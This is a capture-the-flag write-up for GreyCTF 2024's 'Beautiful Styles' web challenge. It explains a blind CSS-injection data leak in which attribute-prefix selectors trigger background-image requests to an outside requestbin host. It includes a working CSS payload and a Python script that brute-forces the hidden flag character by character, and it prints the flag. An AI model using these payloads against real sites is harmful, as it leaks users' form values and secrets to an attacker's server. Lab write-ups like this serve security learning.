> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2024/greyctf-2024/beautiful-styles.md).

# Beautiful Styles

## Description

I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I'll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters. Comment Suggest edit

Author: Junhua

<http://challs.nusgreyhats.org:33339>

***

## Exploit

As there are no source code, its a blind web challenge.

<figure><img src="/files/QQLW1udFIliVMZmKH6a5" alt=""><figcaption></figcaption></figure>

The challenge get us to craft our own CSS for the application, before submitting it to admin for judging

<figure><img src="/files/7KFfwPURmAWMmUSRGC4l" alt=""><figcaption></figcaption></figure>

This is a classical XS Leak challenge. I came accross two post explaining the vulnerability extremely well.

<https://portswigger.net/research/blind-css-exfiltration>

<https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection>

Using the payload from hacktricks, I selected the input with id flag, and see if it can reach my requestbin instance.

```css
input[id=flag][value^=g]{
    background-image: url(https://enyjk42nocvcn.x.pipedream.net/exfil/a);
    color: red;
}
```

<figure><img src="/files/HpRU2sYKS92UlBzAHTG7" alt=""><figcaption></figcaption></figure>

We received two requests: one from us submitting and viewing the output, and one from the judge viewing the output. The flags from both endpoints are different.

After successfully developing a proof of concept, I coded a Python script to aid in retrieving the flag.

```python
import requests
import urllib.parse
from bs4 import BeautifulSoup
import time
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

#endpoint = "http://challs.nusgreyhats.org:33339"
endpoint = "http://challs2.nusgreyhats.org:33339"
def send_req(test):
    payload = 'input[id=flag][value^="' + test + '"' + ']{background-image: url(https://enyjk42nocvcn.x.pipedream.net/exfil/' + test + ');}'
    print(payload)
    data = {'css_value':payload}
    r = requests.post(endpoint+ "/submit",data=data,proxies=proxies)
    html_content = r.text
    soup = BeautifulSoup(html_content, 'html.parser')
    form = soup.find('form')
    action = form.get('action')
    return action

def submit_for_judging(action):
    url = endpoint + action
    r = requests.post(url,proxies=proxies)
    if "Results will be available very soon!" in  r.text:
        return True
    

char = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZf}" 
flag = 'grey{'


for i in char:
    tmp = flag + i
    action = send_req(tmp)
    submit_for_judging(action)
```

Running the script, I was able to iterate through each character of the char, and manually it appending to the flag variable if the request was sent.

We are also able to make logical guess on parts of the flag to speed up the process, such as `S34` being `S34RCH` and `Y0` being `YOU` so on and forth.

<figure><img src="/files/qqrN9ivBockqdH7TZQh6" alt=""><figcaption></figcaption></figure>

Whilst its not the most efficient, I was lazy and this works :man\_shrugging:

Flag: grey{X5S34RCH1fY0UC4NF1NDIT}

***

## Further Discussion

A more efficient approach is to start an HTTP server threaded and send the exploit in a separate thread. When the value of the flag is retrieved, it will then be appended to the flag variable. A sample payload, albeit for XSS, is listed below. It follows a similar concept.

<https://github.com/rizemon/exploit-writing-for-oswe?tab=readme-ov-file#stealing-http-cookies>
